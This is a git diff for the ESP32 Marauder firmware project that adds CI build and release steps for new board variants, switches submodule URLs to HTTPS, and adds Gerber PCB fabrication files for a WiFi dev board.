sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for ESP32 LDDB
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
@@ -255,6 +402,57 @@ jobs:
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder Dev Board Pro
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_DEV_BOARD_PRO/ #define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder Dev Board Pro
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder for Marauder Dev Board Pro
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder M5StickC
|
||||
run: |
|
||||
pwd
|
||||
find /home/runner/ -name "*TFT_eSPI*"
|
||||
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||
sed -i 's/^\/\/#include <User_Setup_marauder_m5stickc.h>/#include <User_Setup_marauder_m5stickc.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_M5STICKC/ #define MARAUDER_M5STICKC/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder M5StickC
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:m5stick-c:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder M5StickC bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
|
||||
|
||||
- name: Display finished bins
|
||||
run: |
|
||||
find ./esp32_marauder/build -name "*.bin"
|
||||
@@ -266,6 +464,13 @@ jobs:
|
||||
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Flipper SD Serial Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.flipper_sd_serial.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload MultiboardS3 Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
@@ -287,6 +492,13 @@ jobs:
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload v6_1 Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.v6_1.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Kit Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
@@ -308,6 +520,20 @@ jobs:
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Marauder Dev Board Pro Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.marauder_dev_board_pro.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: 'Upload Marauder M5StickC Plus Artifact'
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: esp32_marauder.m5stickc_plus.bin
|
||||
path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
|
||||
retention-days: 5
|
||||
|
||||
- name: Create Release
|
||||
id: create_release
|
||||
uses: actions/create-release@v1
|
||||
@@ -318,6 +544,7 @@ jobs:
|
||||
release_name: Release ${{ github.ref }}
|
||||
draft: true
|
||||
prerelease: false
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Flipper Asset
|
||||
id: upload-flipper-release-asset
|
||||
@@ -329,17 +556,31 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
|
||||
asset_name: esp32_marauder.flipper.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Flipper SD Serial Asset
|
||||
id: upload-flipper-sd-serial-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
|
||||
asset_name: esp32_marauder.flipper_sd_serial.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload MultiboardS3 Asset
|
||||
id: upload-mutliboardS3-release-asset
|
||||
id: upload-multiboardS3-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.esp32s3/esp32_marauder.multiboardS3.bin
|
||||
asset_name: esp32_marauder.mutliboardS3.bin
|
||||
asset_name: esp32_marauder.multiboardS3.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload OG Asset
|
||||
id: upload-og-release-asset
|
||||
@@ -351,6 +592,7 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.og.bin
|
||||
asset_name: esp32_marauder.og.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload v6 Asset
|
||||
id: upload-v6-release-asset
|
||||
@@ -362,6 +604,19 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||
asset_name: esp32_marauder.v6.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload v6_1 Asset
|
||||
id: upload-v6-1-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||
asset_name: esp32_marauder.v6_1.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Kit Asset
|
||||
id: upload-kit-release-asset
|
||||
@@ -373,6 +628,7 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.kit.bin
|
||||
asset_name: esp32_marauder.kit.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Mini Asset
|
||||
id: upload-mini-release-asset
|
||||
@@ -384,6 +640,7 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.mini.bin
|
||||
asset_name: esp32_marauder.mini.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload ESP32 LDDB Asset
|
||||
id: upload-esp32-lddb-release-asset
|
||||
@@ -395,3 +652,28 @@ jobs:
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.esp32_lddb.bin
|
||||
asset_name: esp32_marauder.esp32_lddb.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Marauder Dev Board Pro Asset
|
||||
id: upload-marauder-dev-board-pro-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.marauder_dev_board_pro.bin
|
||||
asset_name: esp32_marauder.marauder_dev_board_pro.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
- name: Upload Marauder M5StickC Plus Asset
|
||||
id: upload-m5stickc-plus-release-asset
|
||||
uses: actions/upload-release-asset@v1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
upload_url: ${{ steps.create_release.outputs.upload_url }}
|
||||
asset_path: ./esp32_marauder/build/esp32.esp32.m5stick-c/esp32_marauder.m5stickc_plus.bin
|
||||
asset_name: esp32_marauder.m5stickc_plus.bin
|
||||
asset_content_type: application/bin
|
||||
if: github.event_name != 'pull_request'
|
||||
|
||||
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,3 +1,5 @@
|
||||
|
||||
.vscode/arduino.json
|
||||
.vscode/c_cpp_properties.json
|
||||
.vscode/settings.json
|
||||
esp32_marauder/.vscode/settings.json
|
||||
|
||||
16
.gitmodules
vendored
16
.gitmodules
vendored
@@ -1,24 +1,24 @@
|
||||
[submodule "esp32_marauder/libraries/lv_arduino"]
|
||||
path = esp32_marauder/libraries/lv_arduino
|
||||
url = git@github.com:lvgl/lv_arduino.git
|
||||
url = https://github.com/lvgl/lv_arduino.git
|
||||
[submodule "esp32_marauder/libraries/LinkedList"]
|
||||
path = esp32_marauder/libraries/LinkedList
|
||||
url = git@github.com:ivanseidel/LinkedList.git
|
||||
url = https://github.com/ivanseidel/LinkedList.git
|
||||
[submodule "esp32_marauder/libraries/TFT_eSPI"]
|
||||
path = esp32_marauder/libraries/TFT_eSPI
|
||||
url = git@github.com:justcallmekoko/TFT_eSPI.git
|
||||
url = https://github.com/justcallmekoko/TFT_eSPI.git
|
||||
[submodule "esp32_marauder/libraries/JPEGDecoder"]
|
||||
path = esp32_marauder/libraries/JPEGDecoder
|
||||
url = git@github.com:Bodmer/JPEGDecoder.git
|
||||
url = https://github.com/Bodmer/JPEGDecoder.git
|
||||
[submodule "esp32_marauder/libraries/NimBLE-Arduino"]
|
||||
path = esp32_marauder/libraries/NimBLE-Arduino
|
||||
url = git@github.com:h2zero/NimBLE-Arduino.git
|
||||
url = https://github.com/h2zero/NimBLE-Arduino.git
|
||||
[submodule "esp32_marauder/libraries/Adafruit_NeoPixel"]
|
||||
path = esp32_marauder/libraries/Adafruit_NeoPixel
|
||||
url = git@github.com:adafruit/Adafruit_NeoPixel.git
|
||||
url = https://github.com/adafruit/Adafruit_NeoPixel.git
|
||||
[submodule "esp32_marauder/libraries/ArduinoJson"]
|
||||
path = esp32_marauder/libraries/ArduinoJson
|
||||
url = git@github.com:bblanchon/ArduinoJson.git
|
||||
url = https://github.com/bblanchon/ArduinoJson.git
|
||||
[submodule "esp32_marauder/libraries/SwitchLib"]
|
||||
path = esp32_marauder/libraries/SwitchLib
|
||||
url = git@github.com:justcallmekoko/SwitchLib.git
|
||||
url = https://github.com/justcallmekoko/SwitchLib.git
|
||||
|
||||
BIN
PCBs/FlipperZero/WiFi-Devboard-Pro/BOM.ods
Normal file
BIN
PCBs/FlipperZero/WiFi-Devboard-Pro/BOM.ods
Normal file
Binary file not shown.
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,76 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Soldermask,Bot*%
|
||||
%TF.FilePolarity,Negative*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,1.700000*%
|
||||
%ADD11O,1.700000X1.700000*%
|
||||
%ADD12C,2.200000*%
|
||||
%ADD13R,0.960000X5.440000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,J4*%
|
||||
X129370000Y-109940000D03*
|
||||
D11*
|
||||
X131910000Y-109940000D03*
|
||||
X134450000Y-109940000D03*
|
||||
X136990000Y-109940000D03*
|
||||
X139530000Y-109940000D03*
|
||||
X142070000Y-109940000D03*
|
||||
X144610000Y-109940000D03*
|
||||
X147150000Y-109940000D03*
|
||||
X149690000Y-109940000D03*
|
||||
X152230000Y-109940000D03*
|
||||
X154770000Y-109940000D03*
|
||||
%TD*%
|
||||
D12*
|
||||
%TO.C,*%
|
||||
X187100000Y-99900000D03*
|
||||
%TD*%
|
||||
D10*
|
||||
%TO.C,J5*%
|
||||
X129370000Y-89840000D03*
|
||||
D11*
|
||||
X131910000Y-89840000D03*
|
||||
X134450000Y-89840000D03*
|
||||
X136990000Y-89840000D03*
|
||||
X139530000Y-89840000D03*
|
||||
X142070000Y-89840000D03*
|
||||
X144610000Y-89840000D03*
|
||||
X147150000Y-89840000D03*
|
||||
X149690000Y-89840000D03*
|
||||
X152230000Y-89840000D03*
|
||||
X154770000Y-89840000D03*
|
||||
%TD*%
|
||||
D13*
|
||||
%TO.C,J3*%
|
||||
X153970000Y-103140000D03*
|
||||
X156510000Y-101060000D03*
|
||||
X159050000Y-103140000D03*
|
||||
X161590000Y-101060000D03*
|
||||
X164130000Y-103140000D03*
|
||||
X166670000Y-101060000D03*
|
||||
X169210000Y-103140000D03*
|
||||
X171750000Y-101060000D03*
|
||||
X174290000Y-103140000D03*
|
||||
X176830000Y-101060000D03*
|
||||
%TD*%
|
||||
%TO.C,J2*%
|
||||
X118410000Y-103140000D03*
|
||||
X120950000Y-101060000D03*
|
||||
X123490000Y-103140000D03*
|
||||
X126030000Y-101060000D03*
|
||||
X128570000Y-103140000D03*
|
||||
X131110000Y-101060000D03*
|
||||
X133650000Y-103140000D03*
|
||||
X136190000Y-101060000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,39 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Paste,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10R,0.960000X5.440000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
%TO.C,J3*%
|
||||
X153970000Y-103140000D03*
|
||||
X156510000Y-101060000D03*
|
||||
X159050000Y-103140000D03*
|
||||
X161590000Y-101060000D03*
|
||||
X164130000Y-103140000D03*
|
||||
X166670000Y-101060000D03*
|
||||
X169210000Y-103140000D03*
|
||||
X171750000Y-101060000D03*
|
||||
X174290000Y-103140000D03*
|
||||
X176830000Y-101060000D03*
|
||||
%TD*%
|
||||
%TO.C,J2*%
|
||||
X118410000Y-103140000D03*
|
||||
X120950000Y-101060000D03*
|
||||
X123490000Y-103140000D03*
|
||||
X126030000Y-101060000D03*
|
||||
X128570000Y-103140000D03*
|
||||
X131110000Y-101060000D03*
|
||||
X133650000Y-103140000D03*
|
||||
X136190000Y-101060000D03*
|
||||
%TD*%
|
||||
M02*
|
||||
@@ -0,0 +1,647 @@
|
||||
%TF.GenerationSoftware,KiCad,Pcbnew,(6.0.8)*%
|
||||
%TF.CreationDate,2023-01-02T13:08:22-05:00*%
|
||||
%TF.ProjectId,WiFi-Devboard-Pro,57694669-2d44-4657-9662-6f6172642d50,rev?*%
|
||||
%TF.SameCoordinates,Original*%
|
||||
%TF.FileFunction,Legend,Bot*%
|
||||
%TF.FilePolarity,Positive*%
|
||||
%FSLAX46Y46*%
|
||||
G04 Gerber Fmt 4.6, Leading zero omitted, Abs format (unit mm)*
|
||||
G04 Created by KiCad (PCBNEW (6.0.8)) date 2023-01-02 13:08:22*
|
||||
%MOMM*%
|
||||
%LPD*%
|
||||
G01*
|
||||
G04 APERTURE LIST*
|
||||
%ADD10C,0.100000*%
|
||||
%ADD11C,0.200000*%
|
||||
G04 APERTURE END LIST*
|
||||
D10*
|
||||
X183027857Y-91754857D02*
|
||||
X183294523Y-91754857D01*
|
||||
X183294523Y-92173904D02*
|
||||
X183294523Y-91373904D01*
|
||||
X182913571Y-91373904D01*
|
||||
X182494523Y-92173904D02*
|
||||
X182570714Y-92135809D01*
|
||||
X182608809Y-92059619D01*
|
||||
X182608809Y-91373904D01*
|
||||
X182189761Y-92173904D02*
|
||||
X182189761Y-91640571D01*
|
||||
X182189761Y-91373904D02*
|
||||
X182227857Y-91412000D01*
|
||||
X182189761Y-91450095D01*
|
||||
X182151666Y-91412000D01*
|
||||
X182189761Y-91373904D01*
|
||||
X182189761Y-91450095D01*
|
||||
X181808809Y-91640571D02*
|
||||
X181808809Y-92440571D01*
|
||||
X181808809Y-91678666D02*
|
||||
X181732619Y-91640571D01*
|
||||
X181580238Y-91640571D01*
|
||||
X181504047Y-91678666D01*
|
||||
X181465952Y-91716761D01*
|
||||
X181427857Y-91792952D01*
|
||||
X181427857Y-92021523D01*
|
||||
X181465952Y-92097714D01*
|
||||
X181504047Y-92135809D01*
|
||||
X181580238Y-92173904D01*
|
||||
X181732619Y-92173904D01*
|
||||
X181808809Y-92135809D01*
|
||||
X181085000Y-91640571D02*
|
||||
X181085000Y-92440571D01*
|
||||
X181085000Y-91678666D02*
|
||||
X181008809Y-91640571D01*
|
||||
X180856428Y-91640571D01*
|
||||
X180780238Y-91678666D01*
|
||||
X180742142Y-91716761D01*
|
||||
X180704047Y-91792952D01*
|
||||
X180704047Y-92021523D01*
|
||||
X180742142Y-92097714D01*
|
||||
X180780238Y-92135809D01*
|
||||
X180856428Y-92173904D01*
|
||||
X181008809Y-92173904D01*
|
||||
X181085000Y-92135809D01*
|
||||
X180056428Y-92135809D02*
|
||||
X180132619Y-92173904D01*
|
||||
X180285000Y-92173904D01*
|
||||
X180361190Y-92135809D01*
|
||||
X180399285Y-92059619D01*
|
||||
X180399285Y-91754857D01*
|
||||
X180361190Y-91678666D01*
|
||||
X180285000Y-91640571D01*
|
||||
X180132619Y-91640571D01*
|
||||
X180056428Y-91678666D01*
|
||||
X180018333Y-91754857D01*
|
||||
X180018333Y-91831047D01*
|
||||
X180399285Y-91907238D01*
|
||||
X179675476Y-92173904D02*
|
||||
X179675476Y-91640571D01*
|
||||
X179675476Y-91792952D02*
|
||||
X179637380Y-91716761D01*
|
||||
X179599285Y-91678666D01*
|
||||
X179523095Y-91640571D01*
|
||||
X179446904Y-91640571D01*
|
||||
X178646904Y-91373904D02*
|
||||
X178113571Y-91373904D01*
|
||||
X178646904Y-92173904D01*
|
||||
X178113571Y-92173904D01*
|
||||
X177504047Y-92135809D02*
|
||||
X177580238Y-92173904D01*
|
||||
X177732619Y-92173904D01*
|
||||
X177808809Y-92135809D01*
|
||||
X177846904Y-92059619D01*
|
||||
X177846904Y-91754857D01*
|
||||
X177808809Y-91678666D01*
|
||||
X177732619Y-91640571D01*
|
||||
X177580238Y-91640571D01*
|
||||
X177504047Y-91678666D01*
|
||||
X177465952Y-91754857D01*
|
||||
X177465952Y-91831047D01*
|
||||
X177846904Y-91907238D01*
|
||||
X177123095Y-92173904D02*
|
||||
X177123095Y-91640571D01*
|
||||
X177123095Y-91792952D02*
|
||||
X177085000Y-91716761D01*
|
||||
X177046904Y-91678666D01*
|
||||
X176970714Y-91640571D01*
|
||||
X176894523Y-91640571D01*
|
||||
X176513571Y-92173904D02*
|
||||
X176589761Y-92135809D01*
|
||||
X176627857Y-92097714D01*
|
||||
X176665952Y-92021523D01*
|
||||
X176665952Y-91792952D01*
|
||||
X176627857Y-91716761D01*
|
||||
X176589761Y-91678666D01*
|
||||
X176513571Y-91640571D01*
|
||||
X176399285Y-91640571D01*
|
||||
X176323095Y-91678666D01*
|
||||
X176285000Y-91716761D01*
|
||||
X176246904Y-91792952D01*
|
||||
X176246904Y-92021523D01*
|
||||
X176285000Y-92097714D01*
|
||||
X176323095Y-92135809D01*
|
||||
X176399285Y-92173904D01*
|
||||
X176513571Y-92173904D01*
|
||||
X175370714Y-91373904D02*
|
||||
X175180238Y-92173904D01*
|
||||
X175027857Y-91602476D01*
|
||||
X174875476Y-92173904D01*
|
||||
X174685000Y-91373904D01*
|
||||
X174380238Y-92173904D02*
|
||||
X174380238Y-91640571D01*
|
||||
X174380238Y-91373904D02*
|
||||
X174418333Y-91412000D01*
|
||||
X174380238Y-91450095D01*
|
||||
X174342142Y-91412000D01*
|
||||
X174380238Y-91373904D01*
|
||||
X174380238Y-91450095D01*
|
||||
X173732619Y-91754857D02*
|
||||
X173999285Y-91754857D01*
|
||||
X173999285Y-92173904D02*
|
||||
X173999285Y-91373904D01*
|
||||
X173618333Y-91373904D01*
|
||||
X173313571Y-92173904D02*
|
||||
X173313571Y-91640571D01*
|
||||
X173313571Y-91373904D02*
|
||||
X173351666Y-91412000D01*
|
||||
X173313571Y-91450095D01*
|
||||
X173275476Y-91412000D01*
|
||||
X173313571Y-91373904D01*
|
||||
X173313571Y-91450095D01*
|
||||
X172323095Y-92173904D02*
|
||||
X172323095Y-91373904D01*
|
||||
X172132619Y-91373904D01*
|
||||
X172018333Y-91412000D01*
|
||||
X171942142Y-91488190D01*
|
||||
X171904047Y-91564380D01*
|
||||
X171865952Y-91716761D01*
|
||||
X171865952Y-91831047D01*
|
||||
X171904047Y-91983428D01*
|
||||
X171942142Y-92059619D01*
|
||||
X172018333Y-92135809D01*
|
||||
X172132619Y-92173904D01*
|
||||
X172323095Y-92173904D01*
|
||||
X171218333Y-92135809D02*
|
||||
X171294523Y-92173904D01*
|
||||
X171446904Y-92173904D01*
|
||||
X171523095Y-92135809D01*
|
||||
X171561190Y-92059619D01*
|
||||
X171561190Y-91754857D01*
|
||||
X171523095Y-91678666D01*
|
||||
X171446904Y-91640571D01*
|
||||
X171294523Y-91640571D01*
|
||||
X171218333Y-91678666D01*
|
||||
X171180238Y-91754857D01*
|
||||
X171180238Y-91831047D01*
|
||||
X171561190Y-91907238D01*
|
||||
X170913571Y-91640571D02*
|
||||
X170723095Y-92173904D01*
|
||||
X170532619Y-91640571D01*
|
||||
X170227857Y-92173904D02*
|
||||
X170227857Y-91373904D01*
|
||||
X170227857Y-91678666D02*
|
||||
X170151666Y-91640571D01*
|
||||
X169999285Y-91640571D01*
|
||||
X169923095Y-91678666D01*
|
||||
X169885000Y-91716761D01*
|
||||
X169846904Y-91792952D01*
|
||||
X169846904Y-92021523D01*
|
||||
X169885000Y-92097714D01*
|
||||
X169923095Y-92135809D01*
|
||||
X169999285Y-92173904D01*
|
||||
X170151666Y-92173904D01*
|
||||
X170227857Y-92135809D01*
|
||||
X169389761Y-92173904D02*
|
||||
X169465952Y-92135809D01*
|
||||
X169504047Y-92097714D01*
|
||||
X169542142Y-92021523D01*
|
||||
X169542142Y-91792952D01*
|
||||
X169504047Y-91716761D01*
|
||||
X169465952Y-91678666D01*
|
||||
X169389761Y-91640571D01*
|
||||
X169275476Y-91640571D01*
|
||||
X169199285Y-91678666D01*
|
||||
X169161190Y-91716761D01*
|
||||
X169123095Y-91792952D01*
|
||||
X169123095Y-92021523D01*
|
||||
X169161190Y-92097714D01*
|
||||
X169199285Y-92135809D01*
|
||||
X169275476Y-92173904D01*
|
||||
X169389761Y-92173904D01*
|
||||
X168437380Y-92173904D02*
|
||||
X168437380Y-91754857D01*
|
||||
X168475476Y-91678666D01*
|
||||
X168551666Y-91640571D01*
|
||||
X168704047Y-91640571D01*
|
||||
X168780238Y-91678666D01*
|
||||
X168437380Y-92135809D02*
|
||||
X168513571Y-92173904D01*
|
||||
X168704047Y-92173904D01*
|
||||
X168780238Y-92135809D01*
|
||||
X168818333Y-92059619D01*
|
||||
X168818333Y-91983428D01*
|
||||
X168780238Y-91907238D01*
|
||||
X168704047Y-91869142D01*
|
||||
X168513571Y-91869142D01*
|
||||
X168437380Y-91831047D01*
|
||||
X168056428Y-92173904D02*
|
||||
X168056428Y-91640571D01*
|
||||
X168056428Y-91792952D02*
|
||||
X168018333Y-91716761D01*
|
||||
X167980238Y-91678666D01*
|
||||
X167904047Y-91640571D01*
|
||||
X167827857Y-91640571D01*
|
||||
X167218333Y-92173904D02*
|
||||
X167218333Y-91373904D01*
|
||||
X167218333Y-92135809D02*
|
||||
X167294523Y-92173904D01*
|
||||
X167446904Y-92173904D01*
|
||||
X167523095Y-92135809D01*
|
||||
X167561190Y-92097714D01*
|
||||
X167599285Y-92021523D01*
|
||||
X167599285Y-91792952D01*
|
||||
X167561190Y-91716761D01*
|
||||
X167523095Y-91678666D01*
|
||||
X167446904Y-91640571D01*
|
||||
X167294523Y-91640571D01*
|
||||
X167218333Y-91678666D01*
|
||||
X166227857Y-92173904D02*
|
||||
X166227857Y-91373904D01*
|
||||
X165923095Y-91373904D01*
|
||||
X165846904Y-91412000D01*
|
||||
X165808809Y-91450095D01*
|
||||
X165770714Y-91526285D01*
|
||||
X165770714Y-91640571D01*
|
||||
X165808809Y-91716761D01*
|
||||
X165846904Y-91754857D01*
|
||||
X165923095Y-91792952D01*
|
||||
X166227857Y-91792952D01*
|
||||
X165427857Y-92173904D02*
|
||||
X165427857Y-91640571D01*
|
||||
X165427857Y-91792952D02*
|
||||
X165389761Y-91716761D01*
|
||||
X165351666Y-91678666D01*
|
||||
X165275476Y-91640571D01*
|
||||
X165199285Y-91640571D01*
|
||||
X164818333Y-92173904D02*
|
||||
X164894523Y-92135809D01*
|
||||
X164932619Y-92097714D01*
|
||||
X164970714Y-92021523D01*
|
||||
X164970714Y-91792952D01*
|
||||
X164932619Y-91716761D01*
|
||||
